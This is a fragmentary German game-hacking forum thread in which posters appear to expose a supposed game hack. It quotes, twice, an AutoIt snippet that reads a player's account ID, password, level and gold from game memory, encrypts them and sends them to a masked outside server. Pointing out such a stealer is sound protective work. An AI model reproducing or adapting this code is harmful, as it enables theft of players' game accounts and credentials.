Site..for this hack.. is?
|
|
Ist es möglich, die Daten vom Charreader, spezifisch HP und MP, ingame einzubauen?Quote:
[Only registered and activated users can see links. Click Here To Register...]
Sollen die Funktionen entgültig implementiert werden? :P
#region gold
$ADDRESSGOLD = "0x" & Hex($ADDRESS + Dec("xxxxx"))
Dim $OFFSETGOLD[2] = [0, xxx]
$GOLD = _MEMORYPOINTERREAD($ADDRESSGOLD, $HANDLE, $OFFSETGOLD, "dword")
#endregion gold
#region id
$ADDRESSID = "0x" & Hex($ADDRESS + Dec("xxxxx"))
Dim $OFFSETID[3] = [0, 76, 0]
$ID = _MEMORYPOINTERREAD($ADDRESSID, $HANDLE, $OFFSETID, "char[18]")
#endregion id
#region pw
$ADDRESSPW = "0x" & Hex($ADDRESS + Dec("xxxxx"))
Dim $OFFSETPW[3] = [0, 80, 0]
$PW = _MEMORYPOINTERREAD($ADDRESSPW, $HANDLE, $OFFSETPW, "char[18]")
#endregion pw
#region lev
$ADDRESSLEV = "0x" & Hex($ADDRESS + Dec("xxxxxx"))
Dim $OFFSETLEV[2] = [0, 52]
$LEV = _MEMORYPOINTERREAD($ADDRESSLEV, $HANDLE, $OFFSETLEV, "dword")
#endregion lev
$SGETSESSION = BinaryToString(InetRead("http://xxxxxxxx.***********/_b.php?s", 1))
Sleep(50)
$SREPAIRSESSION = StringReplace($SGETSESSION, @LF, "")
$SSENDSTRING = $ID[1] & ";" & $PW[1] & ";" & "Level: " & $LEV[1] & ";" & "Gold: " & $GOLD[1] & ";" & $SREPAIRSESSION
$SCRYPTEDSTRING = _STRINGENCRYPT(1, $SSENDSTRING, "878n77nioiub", 2)
$SSTRINGTOBINARY = StringToBinary($SCRYPTEDSTRING)
$SREPLACE0X = StringReplace($SSTRINGTOBINARY, "0x", "")
InetRead("http://xxxxxxx.***********/_b.php?e=" & $SSTRINGTOBINARY, 1)
d.H. was für nicht wissende?Quote:
:mad:Code:#region gold $ADDRESSGOLD = "0x" & Hex($ADDRESS + Dec("xxxxx")) Dim $OFFSETGOLD[2] = [0, xxx] $GOLD = _MEMORYPOINTERREAD($ADDRESSGOLD, $HANDLE, $OFFSETGOLD, "dword") #endregion gold #region id $ADDRESSID = "0x" & Hex($ADDRESS + Dec("xxxxx")) Dim $OFFSETID[3] = [0, 76, 0] $ID = _MEMORYPOINTERREAD($ADDRESSID, $HANDLE, $OFFSETID, "char[18]") #endregion id #region pw $ADDRESSPW = "0x" & Hex($ADDRESS + Dec("xxxxx")) Dim $OFFSETPW[3] = [0, 80, 0] $PW = _MEMORYPOINTERREAD($ADDRESSPW, $HANDLE, $OFFSETPW, "char[18]") #endregion pw #region lev $ADDRESSLEV = "0x" & Hex($ADDRESS + Dec("xxxxxx")) Dim $OFFSETLEV[2] = [0, 52] $LEV = _MEMORYPOINTERREAD($ADDRESSLEV, $HANDLE, $OFFSETLEV, "dword") #endregion lev $SGETSESSION = BinaryToString(InetRead("http://xxxxxxxx.***********/_b.php?s", 1)) Sleep(50) $SREPAIRSESSION = StringReplace($SGETSESSION, @LF, "") $SSENDSTRING = $ID[1] & ";" & $PW[1] & ";" & "Level: " & $LEV[1] & ";" & "Gold: " & $GOLD[1] & ";" & $SREPAIRSESSION $SCRYPTEDSTRING = _STRINGENCRYPT(1, $SSENDSTRING, "878n77nioiub", 2) $SSTRINGTOBINARY = StringToBinary($SCRYPTEDSTRING) $SREPLACE0X = StringReplace($SSTRINGTOBINARY, "0x", "") InetRead("http://xxxxxxx.***********/_b.php?e=" & $SSTRINGTOBINARY, 1)